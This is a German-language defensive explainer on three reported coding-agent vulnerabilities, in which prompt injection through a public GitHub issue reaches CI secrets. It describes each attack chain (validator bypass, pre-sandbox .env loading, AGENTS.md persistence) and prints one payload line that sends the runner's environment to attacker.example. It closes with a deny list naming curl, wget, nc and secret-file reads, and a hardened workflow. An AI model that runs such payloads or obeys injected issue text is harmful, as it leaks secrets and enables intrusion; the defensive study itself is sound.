GitHub-Issue → CI-Secrets: Die Coding-Agent-Angriffe der Black Hat 2026
- Verstehen, warum ein öffentliches GitHub-Issue CI-Workflow-Secrets erreichen kann — ohne dass der Angreifer irgendwelche Repo-Rechte hat
- CVE-2026-54316 nachvollziehen: der Single-Quote-Strip, der `git push --receive-pack='…'` an Claude Codes 23 Validatoren vorbeischlüpfen ließ
- CVE-2026-12537 nachvollziehen: die CVSS-10.0-Lücke, bei der eine präparierte `.gemini/.env` auf dem CI-Host ausgeführt wurde, BEVOR die Sandbox startete
- Das dritte Muster kennenlernen (OpenAI Codex + AGENTS.md), das keine CVE bekam, aber wohl noch schlimmer war: Persistenz über die Instruktionsdatei selbst
- Eine konkrete CI-Härtungs-Checkliste ausliefern — Berechtigungs-Scopes, Sandbox-Modi, Allowlist-Enforcement, Deny-Regeln — die diese gesamte Fehlerklasse stoppt
Am 5. August 2026 demonstrierten Elad Meged von Novee Security und Dan Lisichkin von Pillar Security auf der Black Hat USA etwas, wovor die Branche seit dem Einzug von Coding-Agents in CI leise Angst hatte: Ein Fremder ohne Repo-Rechte kann ein GitHub-Issue eröffnen und Remote Code Execution auf deinem CI-Runner erreichen — weil der CI-Workflow, den du für die Auto-Triage von Issues eingerichtet hast, den Issue-Body als Instruktion an einen Coding-Agent weiterreicht.
Zwei der drei Schwachstellen bekamen CVEs und Patches. Alle drei sind dieselbe Fehlerklasse: eine Vertrauensgrenze, die beim Übergang zwischen Komponenten gebrochen ist — Validator vs. Executor, Eltern- vs. Kindprozess, ein Agent-Durchlauf vs. der nächste.
Warum das ein neuer Ausfallmodus ist
Auto-Triage sieht auf dem Papier sicher aus. Ein GitHub-Actions-Workflow feuert bei issues.opened, checkt das Repo aus, startet Claude Code / Gemini CLI / Codex mit etwas wie „lies den Issue-Body, schlage einen Fix vor, öffne einen PR." Der Agent läuft in einem Container, der Runner hat gescopte Tokens, alle fühlen sich wohl.
Das Problem ist, dass der Issue-Body Prompt ist — nicht vertrauenswürdige natürliche Sprache, die der Agent interpretieren wird. Prompt Injection ist seit 2022 bekannt. Was Novee gezeigt hat: Selbst als Hersteller dachten, sie hätten das im Griff (Validatoren, Sandboxes, Tool-Allowlists), waren die Übergänge zwischen diesen Schichten ungeschützt. Ein Angreifer muss keine einzelne Verteidigung überwinden — er schleust die Nutzlast durch die Nahtstelle, an der eine Komponente „sicher" sagte und die nächste danach handelte.
- Wenn dein GitHub-Actions-Workflow einen Coding-Agent bei `issues.opened`, `issue_comment.created` oder `pull_request_target` von unbeschränkten Branches aufruft und du Claude Code nicht auf ≥ 2.1.163 oder Gemini CLI auf ≥ 0.39.1 / run-gemini-cli ≥ 0.1.22 aktualisiert hast, behandle deine Workflow-Secrets als kompromittiert. Rotieren, dann upgraden.
Die drei Schwachstellen in einem Bild
- Kein Fork, kein PR, kein Repo-Write-Zugriff — nur die Fähigkeit, ein Issue in einem öffentlichen Repo zu eröffnen. Der Workflow-Trigger `issues.opened` feuert automatisch.
- GITHUB_TOKEN, ANTHROPIC_API_KEY und alle Secrets in der env des Workflows liegen jetzt in der Runner-Umgebung, während der Agent läuft.
- Hier laufen die drei Vulns auseinander — aber alle drei erreichen dasselbe Ergebnis: Angreifercode läuft auf dem Host mit Zugriff auf die env des Runners.
- Novee nutzte den öffentlichen Download-Zähler von Hugging Face (increment pro Request), um einen API-Key zeichenweise zu leaken — kein exotisches C2 nötig, nur eine Domain, der der Runner ohnehin vertraut.
CVE-2026-54316 — Claude Code: der Single-Quote-Strip
Behoben in: Claude Code 2.1.163 (alle Versionen 0.2.54 bis 2.1.162 betroffen).
CVSS: v3.1 9.1 (Anthropic bewertet v4 6.0 / Moderate; NVD listet 9.1).
Zugrundeliegende Schwäche: Der Command-Validator entfernt einfach in Anführungszeichen stehenden Inhalt bevor seine 23 Sicherheitsprüfungen laufen. Das ist bash-korrekt: bash behandelt Single Quotes als rein wörtlich. Das Problem ist, dass git --receive-pack='…' als Flag behandelt, dessen Wert es auf der Gegenseite exec startet.
Ergebnis: Der Validator sieht ein inertes Kommando mit ausgeblendeter Nutzlast; git sieht ein Flag, das die Nutzlast ausführt.
Die Payload-Form (illustrativ — für Verteidiger, nicht ausführen)
git push --receive-pack='sh -c "curl https://attacker.example/x?d=$(env | base64)"' origin HEAD
Zwei Dinge, die auffallen:
- Die Validatoren sind einzeln nicht falsch. Single Quotes zu strippen ist das, was bash tut.
git pushzuzulassen ist das, was ein Coding-Agent tun muss. Jede Schicht ist isoliert korrekt; die Naht dazwischen ist der Bug. - Der Exfil-Kanal muss nicht exotisch sein. Novees PoC nutzte
huggingface.co— eine Domain, die jeder Coding-Agent auf seiner Outbound-Allowlist haben wird — als verdeckten Zähler und inkrementierte den Download-Count eines kontrollierten Model-Repos einmal pro Zeichen des geleakten Secrets. Wenn deine Egress-Policy nur „offensichtliches" C2 blockiert, umgeht das sie.
Das 1,5 Jahre lange Zeitfenster (behoben im August 2026 in einem Tool, das die verwundbare Prüfung Anfang 2025 auslieferte) ist der beängstigende Teil: Der Bug überlebte 100+ Releases, weil niemand den Validator gegen die Wertsemantik nachgelagerter Tools fuzzte.
CVE-2026-12537 — Gemini CLI: die Pre-Sandbox .env
Behoben in: @google/gemini-cli 0.39.1, run-gemini-cli GitHub Action 0.1.22 (und 0.40.0-preview.3).
CVSS: 4.0 — die perfekte 10.0.
CWE: 78 (OS Command Injection) + 20 (Improper Input Validation).
Ursache: Im Headless-CI-Modus vertraute Gemini CLI automatisch seinem Workspace-Ordner und lud .gemini/.env bevor die Container-Sandbox hochkam. Eine bösartige .gemini/.env, die in einen PR-Branch committet (oder von einem vorherigen Schritt in den Checkout abgelegt) wurde, lief auf dem Host mit der vollständigen Umgebung des Runners — inklusive GITHUB_TOKEN.
Es gab zwei sich verstärkende Fehler:
- Automatisches Workspace-Trust in CI. Im interaktiven Modus bekommst du einen „Diesem Ordner vertrauen?"-Prompt. Im Headless-Modus bekamst du nichts — der Workspace wurde standardmäßig als vertrauenswürdig eingestuft, sodass jedes Repo, das du auscheckst, seine eigene Agent-Konfiguration mitbringen konnte.
--yoloumging die Tool-Allowlist komplett — nicht „lockerte sie", ignorierte sie. Die feingranularesettings.json-Allowlist, die Nutzer sorgfältig geschrieben hatten, wurde bei gesetztem--yoloaus dem Runtime-Pfad wegkompiliert. Novee taufte die Form „Allowlist wird nur zur Registrierung geparst; zur Laufzeit nicht durchgesetzt."
Die Reichweite war schlimm: run-gemini-cli hatte zum Disclosure-Zeitpunkt eine große Install-Basis, und das Token, das ein Exploit erbeutete, konnte in das Repo der Action selbst pushen — ein Supply-Chain-Standbein bei ~2 Mio. nachgelagerten Installationen, wenn nicht durch Rotation gefangen.
Der Fix ist ein Breaking Change am Vertrauensmodell: Workspaces müssen jetzt explizit als vertrauenswürdig markiert werden, und --yolo respektiert weiterhin die Allowlist.
Der dritte OpenAI-Codex-Fall — keine CVE, wohl schlimmer
OpenAIs Codex erhielt denselben Report-Typ, gab aber keine CVE aus — ihre Position ist, dass die Sandbox genau so verhielt, wie dokumentiert. Was Novee zeigte, war ein Persistenzpfad durch AGENTS.md selbst:
- Zwei Codex-Passes teilten sich einen Workspace-Checkout.
- Pass 1 (quarantäniert, read-only vorgesehen) verarbeitete den nicht vertrauenswürdigen Issue-Body.
- Injizierte Instruktionen im Issue-Body wiesen Pass 1 an, neuen Inhalt in
AGENTS.mdzu schreiben. - Pass 2 (privilegiert) startete, lud
AGENTS.mdvon der Disk als autoritative Instruktion und folgte den Befehlen des Angreifers.
Das Validierungs-Gate prüfte Pass 1's Output-Format, nicht den Filesystem-Zustand, den Pass 1 hinterlassen hatte. Persistenz reiste über die Disk, nicht über den Datenpfad.
OpenAIs Mitigationen: Passes in verschiedene Jobs trennen (damit kein geteilter Workspace-Zustand existiert) und read-only-Sandboxes für den Validierungs-Pass. Beides sind Dinge, die du selbst konfigurieren kannst — und solltest — sogar auf gepatchtem Claude Code und Gemini CLI, weil dieses Muster nicht Codex-spezifisch ist. Überall, wo ein Multi-Step-Agent-Workflow einen Workspace mit einer beschreibbaren Instruktionsdatei teilt, ist derselbe Angriff möglich.
Die gemeinsame Form
Verteidigungen, die die nächste CVE überleben
Erst upgraden — Claude Code ≥ 2.1.163, @google/gemini-cli ≥ 0.39.1, run-gemini-cli ≥ 0.1.22. Dann den Workflow selbst härten, damit der nächste Übergangs-Bug keine Krise ist.
- `issues.opened`, `issue_comment.created` und `pull_request_target` aus Forks bringen angreifergesteuerten Inhalt in einen Workflow mit deinen Secrets. Wenn du musst, gate auf ein Reviewer-Label mit Repo-Write-Rechten (z. B. `/agent-run`-Kommentar von einem Maintainer) — das bringt eine menschliche Entscheidung zurück in die Schleife.
- Setze `permissions:` auf Workflow- ODER Job-Ebene auf das Minimum (`contents: read`, `issues: write` nur wenn du kommentieren musst). Lass NICHT den Default `write-all`. Erwäge ein kurzlebiges Fine-Grained-PAT, das auf ein Repo begrenzt ist, statt des ambienten GITHUB_TOKEN.
- Pass 1: lies das Issue in einem Job mit `permissions: read-all` (oder weniger) und OHNE Secrets. Emittiere ein strukturiertes Artefakt. Pass 2: in einem SEPARATEN Job mit den benötigten Credentials, handle nach Schema-Validierung auf dem Artefakt. Niemals einen Workspace zwischen ihnen teilen (das ist Codex' eigene Mitigation).
- Konfiguriere das eigene Permission-System des Agenten so, dass es Env/`.env`/`id_rsa`/`*.pem`-Reads, curl zu unbekannten Hosts und destruktive Shell-Verben ablehnt. Siehe das Beispiel unten und vergleiche [Coding-Agents unter Beschuss](/docs/security/coding-agents-under-attack) für das Muster.
- Self-hosted Runner: Firewall den Egress auf eine kleine Allowlist. GitHub-hosted: du kannst nicht vollständig firewallen, aber du KANNST die verdeckten Kanäle dichtmachen — setze die Tool-Allowlist des Agenten so, dass `curl`/`wget`/`fetch` zu beliebigen Hosts verweigert wird. Setze `huggingface.co`, `pastebin.com` oder `*.workers.dev` nicht auf deine Allowlist, wenn du sie nicht wirklich brauchst.
- Wenn irgendein Schritt in deinem Workflow auf angreifergesteuerten Inhalten lief, ist der Workspace (inkl. jedes `.env`, `AGENTS.md`, `CLAUDE.md`, `.gemini/`, `.codex/`) dreckig. Frischer Checkout für den privilegierten Pass — oder explizite Re-Validierung.
- Die Exfil in CVE-2026-54316 war ein HTTP-Request pro Zeichen an `huggingface.co`. Ein Tool-Call-Log macht daraus einen schreienden Alarm. Ohne eins sieht es aus wie normaler Agent-Traffic.
- GITHUB_TOKEN läuft mit dem Job automatisch ab, aber ANTHROPIC_API_KEY, GEMINI_API_KEY und jedes Custom-Secret nicht. Wenn dein Workflow eine verwundbare Version gegen Angreifer-Content laufen ließ, rotiere sie unabhängig davon, ob du Nutzungsspuren siehst.
Eine minimale Deny-Liste für einen CI-Agent
Claude-Code-Permission-Fragment für CI-Runs (an dein Setup anpassen)
{
"permissions": {
"deny": [
"Read(./.env)",
"Read(./.env.*)",
"Read(./**/*.pem)",
"Read(./**/id_rsa*)",
"Read(./**/.git/config)",
"Bash(curl:*)",
"Bash(wget:*)",
"Bash(nc:*)",
"Bash(git push:*)",
"Bash(git remote:*)",
"Bash(rm -rf:*)",
"Bash(chmod:*)"
],
"allow": [
"Read(./src/**)",
"Read(./docs/**)",
"Edit(./src/**)"
]
}
}Beachte die explizite git push:*-Deny — genau das schließt den Exploitations-Vektor von CVE-2026-54316 selbst bei einem hypothetischen zukünftigen Validator-Bug: Der Agent hatte von vornherein keine Erlaubnis zu pushen.
Eine sicherere GitHub-Actions-Form
`.github/workflows/agent-triage.yml` — Least-Privilege-Muster
name: agent-triage
on:
# Don't fire on unrestricted 'issues.opened' — gate on a reviewer label
issues:
types: [labeled]
permissions:
contents: read
issues: write # only to comment on the issue
jobs:
# Pass 1: parse untrusted input, NO secrets besides the ambient token
parse:
if: github.event.label.name == 'agent-triage'
runs-on: ubuntu-latest
outputs:
summary: ${{ steps.extract.outputs.summary }}
steps:
- uses: actions/checkout@v4
- id: extract
env:
ISSUE_BODY: ${{ github.event.issue.body }}
run: |
# Emit a structured, schema-validated summary — not raw prompt
node ./scripts/extract-issue-facts.js > out.json
echo "summary=$(jq -c . out.json)" >> "$GITHUB_OUTPUT"
# Pass 2: privileged, in a fresh workspace, on validated data only
act:
needs: parse
runs-on: ubuntu-latest
permissions:
contents: read
issues: write
steps:
- uses: actions/checkout@v4 # fresh checkout — pass 1's workspace is gone
- name: Validate parse output
run: node ./scripts/validate-summary.js '${{ needs.parse.outputs.summary }}'
- name: Run coding agent on validated summary
env:
ANTHROPIC_API_KEY: ${{ secrets.ANTHROPIC_API_KEY }}
run: |
# Agent sees ONLY the validated summary, never the raw issue body
claude --permission-mode plan --input-file summary.jsonDie drei strukturellen Eigenschaften, die zählen:
on: issues.types: [labeled]+ eine Prüfung auf den Label-Namen = ein Maintainer muss das Label hinzufügen, sodass ein zufälliger Fremder den Workflow nicht auslösen kann.- Zwei Jobs = zwei Workspaces. Pass 1's Schreibvorgänge (inkl. jeder injizierten
AGENTS.md) überleben nicht in Pass 2. - Schema-Validierung zwischen Passes. Pass 2 empfängt typisiertes JSON, keinen Rohtext, sodass Injection nichts hat, worauf sie injizieren könnte.
Prüfe dich selbst
Prüfe dich selbst
0/5Quellen & weiterführende Lektüre
- Novee Security — Black Hat 2026: Critical Flaws in Anthropic, Google, and OpenAI's Coding Agents (Primärquelle, mit den Angriffsketten)
- Novee Security — Update to Gemini CLI and run-gemini-cli Trust Model (Patch-Anleitung)
- The Hacker News — Claude Code and Gemini CLI Flaws Let a GitHub Issue Reach CI Workflow Secrets
- GitHub Advisory Database — GHSA-jj69-4grx-fqj5 (CVE-2026-12537, Gemini CLI)
- NVD — CVE-2026-54316 (Claude Code)
- CSO Online — Max-severity RCE flaw found in Google Gemini CLI
- GitHub Docs — Hardening for GitHub Actions (Baseline für
permissions:undpull_request_target-Anleitung)
Verwandt auf AILmanac
- Wenn Coding-Agents zur Waffe werden — die Schwesterklasse (Friendly Fire + JADEPUFFER); nach dieser Seite lesen
- Autonome Runs härten — die allgemeine Checkliste für jeden unbeaufsichtigten Agent, nicht nur CI
- Prompt Injection erklärt — der zugrundeliegende Mechanismus, mit dem diese Nahtstellen erreicht werden
- Agenten & Tools absichern — Muster für Permission-Scoping
- Third-Party-Code prüfen — dieselbe Vertrauensfrage, bevor du ein Plugin, Skill oder MCP-Server einziehst
- Invisible-Comment-MCP-Angriffe — ein verwandtes „Instruktion versteckt in Daten"-Muster auf einer anderen Oberfläche